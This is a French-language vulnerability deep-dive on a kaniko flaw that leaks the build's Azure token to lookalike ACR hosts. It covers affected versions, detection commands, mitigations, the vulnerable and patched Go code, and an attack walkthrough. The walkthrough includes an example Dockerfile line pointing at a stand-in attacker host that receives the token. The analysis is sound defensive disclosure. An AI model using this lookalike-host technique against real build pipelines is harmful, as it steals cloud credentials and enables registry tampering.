Neutron, notre moteur d’IA, a obtenu un score de 97,1 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Analyse approfondie

Analyse approfondie

Fuite du jeton Azure de kaniko vers des registres imitateurs (CVE-2026-105769)

kaniko avant 1.25.20 envoie le jeton Azure Resource Manager du build à tout hôte contenant .azurecr.io, y compris les hôtes piégés.

En bref

  • Un Dockerfile qui tire depuis un hôte imitateur comme x.azurecr.io.attacker.com fait envoyer par kaniko le jeton Azure Resource Manager du build à cet hôte. L'avis a été publié le 2 novembre 2026.
  • kaniko avant 1.25.20 est concerné lorsque les builds utilisent des Dockerfiles ou des arguments de build que vous ne contrôlez pas entièrement et qu'une identité Azure est disponible pour le build.
  • L'avis le note CVSS v3.1 9,3 Critical. Aucune exploitation dans la nature n'est signalée, et la CVE n'est pas au catalogue KEV de la CISA au 6 novembre 2026.
  • Mettez à niveau vers kaniko 1.25.20 ou ultérieur ; 1.25.21 est la version actuelle. Si vous ne pouvez pas, supprimez les identifiants Azure et bloquez le service de métadonnées d'instance dans les builds ; voir « Comment corriger ? ».

Suis-je concerné ?

Vous êtes exposé uniquement lorsque toutes ces conditions sont réunies :

  • Le build exécute kaniko avant 1.25.20 : l'executor, le warmer, ou un binaire autonome docker-credential-acr-env construit depuis cette source.
  • Le Dockerfile, ou un argument de build qui y mène, est influencé par une personne que vous ne croyez pas entièrement. Les builds de pull request et les CI multi-locataires sont les cas évidents.
  • L'environnement de build peut obtenir une identité Azure : identifiants de principal de service dans AZURE_CLIENT_ID, AZURE_CLIENT_SECRET et AZURE_TENANT_ID ; jeton d'identité de charge de travail fédérée dans AZURE_FEDERATED_TOKEN ou AZURE_FEDERATED_TOKEN_FILE ; ou identité managée via le service de métadonnées d'instance Azure ou MSI_ENDPOINT.
  • Le Dockerfile référence une image sur un hôte qui contient .azurecr.io, .azurecr.cn, .azurecr.de ou .azurecr.us mais qui n'est pas un hôte Azure Container Registry. Une ligne FROM suffit ; une ligne COPY --from=<image> fonctionne aussi.

Vous n'avez pas besoin d'utiliser Azure Container Registry, et vous n'avez pas besoin de configurer le helper. kaniko consulte le helper intégré pour tout registre qui n'a pas d'identifiants dans la configuration Docker et qui n'est pas un registre Google ou Amazon ECR. Chaque hôte imitateur entre dans cet ensemble. Si le build n'a pas d'identité Azure, le helper ne peut pas obtenir de jeton.

Un build qui n'utilise que des Dockerfiles de confiance n'est pas exposé par ce chemin, car l'attaquant ne peut pas ajouter l'hôte imitateur. Un kaniko corrigé n'est pas exposé même avec un Dockerfile non fiable.

Branche Versions concernées Version corrigée
kaniko toutes les versions avant 1.25.20 1.25.20 (publiée le 27 octobre 2026) ; 1.25.21 est actuelle (3 novembre 2026)

Vérifiez la version et les entrées du build :

# Version of the executor image or binary
docker run --rm <your-kaniko-executor-image> --version
# Or, inside the build pod
/kaniko/executor --version

# If you import kaniko as a Go module
go list -m github.com/chainguard-dev/kaniko

# Lookalike ACR hosts in a Dockerfile (a dot after the ACR suffix)
grep -nE 'azurecr\.(io|cn|de|us)\.' Dockerfile

# Azure identity available to the build
env | grep -E '^(AZURE_CLIENT_ID|AZURE_CLIENT_SECRET|AZURE_TENANT_ID|AZURE_FEDERATED_TOKEN|AZURE_FEDERATED_TOKEN_FILE|MSI_ENDPOINT|MSI_SECRET)='

Comment corriger ?

  1. Mettez à niveau vers kaniko 1.25.20 ou ultérieur. Le projet publie des étiquettes de source, pas de binaires ; reconstruisez donc l'executor, le warmer et le binaire autonome docker-credential-acr-env depuis la source corrigée. La version v1.25.20 est la première étiquette corrigée ; v1.25.21 est la version actuelle.
  2. Si vous importez kaniko comme module Go, mettez à jour github.com/chainguard-dev/kaniko vers v1.25.20 ou ultérieur. Le module amont github.com/chrismellard/docker-credential-acr-env n'est plus maintenu et n'a pas de version corrigée ; kaniko embarque désormais une copie corrigée sous third_party/docker-credential-acr-env.
  3. Si vous ne pouvez pas mettre à niveau, retirez l'identité Azure de l'environnement de build et bloquez le service de métadonnées d'instance :
  4. Supprimez AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, AZURE_FEDERATED_TOKEN, AZURE_FEDERATED_TOKEN_FILE, MSI_ENDPOINT et MSI_SECRET des pods de build.
  5. Bloquez l'accès à 169.254.169.254 depuis le réseau de build, pour qu'une identité managée ne soit pas joignable.
  6. Si vous ne dépendez pas de l'authentification ACR intégrée de kaniko, réglez AZURE_ENVIRONMENT=none dans le conteneur kaniko. Le helper échoue alors avant de demander un jeton.
  7. Si votre configuration Docker règle "credsStore": "acr-env", remplacez-la par des entrées credHelpers par hôte pour vos propres registres ACR. Cela ne ferme que le chemin du binaire autonome, pas le helper intégré.
  8. Si des builds non fiables ont tourné avec une identité Azure, traitez chaque jeton émis pour cette identité pendant ces builds comme compromis. Examinez les journaux de connexion Entra ID de l'identité et les journaux d'activité Azure, en particulier les push ACR, les changements d'attribution de rôle et les listages de clés ou de secrets. Renouveler les identifiants de l'identité ne révoque pas un jeton déjà émis ; il reste valide jusqu'à son expiration.

Quelle est la cause racine ?

Le helper d'identifiants ACR décide si un hôte est un Azure Container Registry avec une expression régulière non ancrée, donc tout nom d'hôte qui contient un suffixe ACR passe. Le code vulnérable est dans github.com/chrismellard/docker-credential-acr-env, que kaniko embarque :

var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)

func isACRRegistry(input string) bool {
    serverURL, err := url.Parse("https://" + input)
    if err != nil {
        return false
    }
    if serverURL.Hostname() == mcrHostname {
        return true
    }
    matches := acrRE.FindStringSubmatch(serverURL.Hostname())
    if len(matches) == 0 {
        return false
    }
    return true
}

url.Parse("https://" + input).Hostname() réduit l'entrée à son nom d'hôte, et le motif n'est ancré ni au début ni à la fin. evil.azurecr.io.attacker.com contient .azurecr.io, donc il correspond. foo.azurecr.io.evil aussi.

Le Get() du helper traite ensuite la correspondance comme la preuve que l'hôte est un registre ACR :

func (a ACRCredHelper) Get(serverURL string) (string, string, error) {
    if !isACRRegistry(serverURL) {
        return "", "", errors.New("serverURL does not refer to Azure Container Registry")
    }

    spToken, settings, err := token.GetServicePrincipalTokenFromEnvironment()
    if err != nil {
        return "", "", fmt.Errorf("failed to acquire sp token %w", err)
    }
    refreshToken, err := registry.GetRegistryRefreshTokenFromAADExchange(serverURL, spToken, settings.Values[auth.TenantID])
    ...
}

GetServicePrincipalTokenFromEnvironment() obtient un jeton Azure Resource Manager depuis le principal de service, le jeton fédéré ou l'identité managée. GetRegistryRefreshTokenFromAADExchange() appelle ensuite GetFromExchange(ctx, "access_token", serverURL, tenantID, "", principalToken.Token().AccessToken) du SDK Azure. Le SDK envoie un POST à https://<serverURL>/oauth2/exchange avec le jeton dans l'en-tête Authorization: Bearer et dans le champ de formulaire access_token. L'hôte de cette URL est l'imitateur de l'attaquant, donc le jeton quitte le build.

Comment la faille est-elle exploitée ?

  1. L'attaquant peut influencer un Dockerfile ou un argument de build qui y mène, par exemple dans un build de pull request.
  2. L'attaquant ajoute une image de base sur un hôte imitateur : FROM x.azurecr.io.attacker.com/img. Aucune instruction RUN et aucun push ne sont nécessaires.
  3. kaniko voit un registre sans identifiants dans la configuration Docker et demande les identifiants au helper ACR intégré.
  4. L'expression régulière non ancrée correspond à l'hôte imitateur. Le helper obtient un jeton Azure Resource Manager depuis l'environnement ou le service de métadonnées d'instance.
  5. Le helper envoie le jeton à https://x.azurecr.io.attacker.com/oauth2/exchange. L'attaquant détient maintenant un jeton valide pour l'identité du build.
  6. L'attaquant utilise le jeton contre Azure Resource Manager avec les attributions de rôle de l'identité, ou l'échange auprès d'un vrai registre ACR pour obtenir des identifiants de registre. Si l'identité a AcrPush ou plus, l'attaquant peut pousser des images vers vos registres.

Aucun code de preuve de concept public n'est listé. L'avis décrit l'entrée et l'échange de jeton ; les blocs de code ici sont la source vulnérable et la source corrigée, pas un exploit fonctionnel.

Comment se déroule l'attaque ?

Une référence d'image de base non fiable fait classer par le helper un hôte d'attaquant comme Azure Container Registry, et le helper envoie le jeton Azure du build à cet hôte.

flowchart LR A["Dockerfile non fiable : FROM x.azurecr.io.attacker.com/img"] --> B["kaniko demande les identifiants au helper ACR"] B --> C["L'expression non ancrée correspond à .azurecr.io"] C --> D["Le helper obtient un jeton Azure Resource Manager"] D --> E["Le jeton est envoyé à /oauth2/exchange de l'attaquant"] E --> F["L'attaquant utilise le jeton contre Azure"]

Que peut faire un attaquant ?

Un attaquant qui peut placer un hôte imitateur dans un Dockerfile, alors que le build a une identité Azure, reçoit un jeton Azure Resource Manager valide. L'impact dépend des attributions de rôle de cette identité :

  • Lire les ressources que l'identité peut lire, y compris les secrets et les clés de stockage.
  • Modifier les attributions de rôle ou d'autres ressources que l'identité peut gérer.
  • Échanger le jeton auprès d'un vrai registre ACR auquel l'identité a accès, et obtenir des identifiants de registre.
  • Pousser des images vers vos registres si l'identité a AcrPush ou plus.

Les conditions sont listées en entier : kaniko avant 1.25.20, un Dockerfile ou un argument de build non fiable, une identité Azure disponible pour le build, et un hôte imitateur qui contient un suffixe ACR. L'attaquant n'a pas besoin d'utiliser ACR, n'a pas besoin que le build pousse, et n'a pas besoin d'instruction RUN. Le jeton est valide jusqu'à son expiration ; renouveler les identifiants de l'identité ne le révoque pas.

Pourquoi le correctif fonctionne-t-il ?

Le correctif remplace le motif non ancré par une vérification ancrée et consciente des étiquettes, et embarque le helper corrigé dans le module de kaniko :

-var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)
+var acrHostRE = regexp.MustCompile(`^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+azurecr\.(?:io|cn|de|us)$`)
@@
 func isACRRegistry(input string) bool {
    serverURL, err := url.Parse("https://" + input)
-   if err != nil {
+   if err != nil || serverURL.Host != input {
        return false
    }
-   if serverURL.Hostname() == mcrHostname {
-       return true
+   if i := strings.LastIndexByte(input, ':'); i >= 0 {
+       port := input[i+1:]
+       if !portRE.MatchString(port) {
+           return false
+       }
+       if n, err := strconv.Atoi(port); err != nil || n < 1 || n > 65535 {
+           return false
+       }
    }
-   matches := acrRE.FindStringSubmatch(serverURL.Hostname())
-   if len(matches) == 0 {
-       return false
-   }
-   return true
+   host := serverURL.Hostname()
+   return host == mcrHostname || acrHostRE.MatchString(host)
 }

Le motif est ancré aux deux extrémités et n'admet que des étiquettes DNS minuscules bien formées devant un suffixe ACR. evil.azurecr.io.attacker.com et foo.azurecr.io.evil ne correspondent plus. Le code exige aussi que l'hôte analysé soit égal à l'entrée, rejette un point final et les étiquettes mal formées, et vérifie la plage de ports. Pour tout autre hôte, le helper signale « credentials not found » sans demander de jeton.

Le correctif est complet pour les chemins du helper que l'avis nomme : pkg/creds, qui lie le helper dans l'executor et le warmer, et le binaire autonome docker-credential-acr-env construit par deploy/Dockerfile. Le module amont est retiré de go.mod, go.sum et vendor/, donc les scanners cessent de signaler GO-2026-6225 pour lui. Le projet amont reste non maintenu ; la personne qui maintient le fork doit surveiller les futurs avis.

Comment vérifier si j'ai été compromis ?

Aucun indicateur de compromission n'est publié. Les vérifications se font du côté Azure, car l'hôte de l'attaquant est choisi par l'attaquant et n'est pas un indicateur fixe :

# Role assignments held by the build identity (requires the Azure CLI)
az role assignment list --assignee <client-id> --all --output table

# ACR repositories and tags, to look for pushes you did not make
az acr repository list --name <registry-name> --output table

Dans le centre d'administration Microsoft Entra, ouvrez les journaux de connexion de l'identité de build et examinez la période où les builds non fiables ont tourné. Dans le journal d'activité Azure, filtrez Microsoft.ContainerRegistry/registries/push/write, les changements d'attribution de rôle et les listages de clés ou de secrets. Un jeton émis pour l'identité est valide jusqu'à son expiration, donc une rotation ultérieure des identifiants n'annule pas un vol déjà effectué.

Si un build a tiré depuis un hôte imitateur, traitez le jeton comme compromis, examinez l'activité de l'identité pendant la durée de vie du jeton et renouvelez chaque secret que l'identité pouvait lire. Il n'existe aucune liste de domaines ou d'adresses IP à rechercher ; l'hôte imitateur est choisi par l'attaquant.

Chronologie

  • 2023-03-04 : dernier commit amont de docker-credential-acr-env, qui laisse la vérification non ancrée sans maintenance.
  • 2025-06 : le dépôt kaniko d'origine est archivé ; Chainguard le fork pour poursuivre la maintenance.
  • 2026-10-27 : kaniko v1.25.20 est publié avec le helper corrigé embarqué.
  • 2026-11-02 : GHSA-5q7h-w9jf-cx97 est publié.
  • 2026-11-03 : kaniko v1.25.21 est publié, la version actuelle.
  • 2026-11-05 : CVE-2026-105769 est publiée.
  • 2026-11-06 : aucune exploitation dans la nature n'est signalée ; la CVE n'est pas au catalogue KEV de la CISA.

Le helper est resté sans maintenance pendant plus de trois ans avant que kaniko n'embarque sa propre copie corrigée.
Figure 1 : du helper ACR non maintenu au correctif kaniko et à l'avis. Source : versions kaniko v1.25.20 et v1.25.21, commit 08de01fe et GHSA-5q7h-w9jf-cx97, vérifiés le 6 novembre 2026

FAQ

J'utilise kaniko uniquement avec AWS ou GCP. Suis-je concerné ?

Peut-être. Le helper ACR est consulté pour tout registre sans identifiants dans la configuration Docker et qui n'est pas un registre Google ou Amazon ECR. Si l'environnement de build a une identité Azure, un hôte imitateur peut encore déclencher la demande de jeton. Si aucune identité Azure n'est disponible, le helper ne peut pas obtenir de jeton.

Dois-je utiliser Azure Container Registry ?

Non. Vous n'avez pas besoin d'ACR et vous n'avez pas besoin de configurer le helper. Le helper intégré est consulté automatiquement pour un hôte de registre non reconnu.

Suis-je exposé si je ne construis que des Dockerfiles de confiance ?

Non, par ce chemin. L'attaquant doit placer un hôte imitateur dans un Dockerfile ou un argument de build. Si toutes les entrées sont de confiance et qu'aucun hôte imitateur n'est référencé, le helper n'est pas sollicité pour un hôte d'attaquant.

La mise à niveau supprime-t-elle le module amont ?

Oui. kaniko v1.25.20 embarque une copie corrigée sous third_party/docker-credential-acr-env et ne dépend plus de github.com/chrismellard/docker-credential-acr-env, donc les scanners cessent de signaler GO-2026-6225 pour lui.

A-t-elle été exploitée dans la nature ?

Aucune exploitation dans la nature n'a été signalée au 6 novembre 2026, et la CVE n'est pas au catalogue KEV de la CISA. L'avis a été publié le 2 novembre 2026, donc l'absence de rapports est récente.

Que faire si je ne peux pas mettre à niveau ?

Retirez l'identité Azure de l'environnement de build et bloquez le service de métadonnées d'instance, ou réglez AZURE_ENVIRONMENT=none si vous n'utilisez pas l'authentification ACR intégrée. Ces mesures empêchent la demande de jeton ; elles ne corrigent pas le helper. Mettez à niveau dès que possible.

Références

  • Avis de sécurité kaniko GHSA-5q7h-w9jf-cx97, publié le 2 novembre 2026, les configurations concernées, l'impact, les correctifs et les contournements : https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97 (vérifié le 6 novembre 2026)
  • Enregistrement CVE-2026-105769, publié le 5 novembre 2026, CVSS v3.1 9.3 et la plage concernée : https://www.cve.org/CVERecord?id=CVE-2026-105769 (vérifié le 6 novembre 2026)
  • Commit kaniko 08de01fe7fffaeb6bc030efa9eae723ea2dd4405, « Fix GO-2026-6225: carry a patched docker-credential-acr-env inside the kaniko module », 27 octobre 2026 : https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405 (vérifié le 6 novembre 2026)
  • Pull request kaniko #495, le correctif et le helper corrigé : https://github.com/chainguard-forks/kaniko/pull/495 (vérifié le 6 novembre 2026)
  • Version kaniko v1.25.20, 27 octobre 2026 : https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20 (vérifié le 6 novembre 2026)
  • Version kaniko v1.25.21, 3 novembre 2026, la version actuelle : https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.21 (vérifié le 6 novembre 2026)
  • Fichier vendor/github.com/chrismellard/docker-credential-acr-env/pkg/credhelper/helper.go de kaniko à v1.25.19, l'expression non ancrée : https://github.com/chainguard-forks/kaniko/blob/v1.25.19/vendor/github.com/chrismellard/docker-credential-acr-env/pkg/credhelper/helper.go (vérifié le 6 novembre 2026)
  • Fichier third_party/docker-credential-acr-env/PATCHES.md de kaniko, la vérification ancrée et la copie embarquée : https://github.com/chainguard-forks/kaniko/blob/v1.25.20/third_party/docker-credential-acr-env/PATCHES.md (vérifié le 6 novembre 2026)
  • Base de vulnérabilités Go GO-2026-6225, l'avis du module amont : https://pkg.go.dev/vuln/GO-2026-6225 (vérifié le 6 novembre 2026)
  • GitHub, GoogleContainerTools/kaniko, 15 750 étoiles et 1 529 forks, le dépôt d'origine archivé : https://github.com/GoogleContainerTools/kaniko (vérifié le 6 novembre 2026)
  • GitHub, chainguard-forks/kaniko, le fork maintenu et son README : https://github.com/chainguard-forks/kaniko (vérifié le 6 novembre 2026)
  • Flux JSON du catalogue Known Exploited Vulnerabilities de la CISA, vérifié pour CVE-2026-105769 le 6 novembre 2026 (non listée) : https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (vérifié le 6 novembre 2026)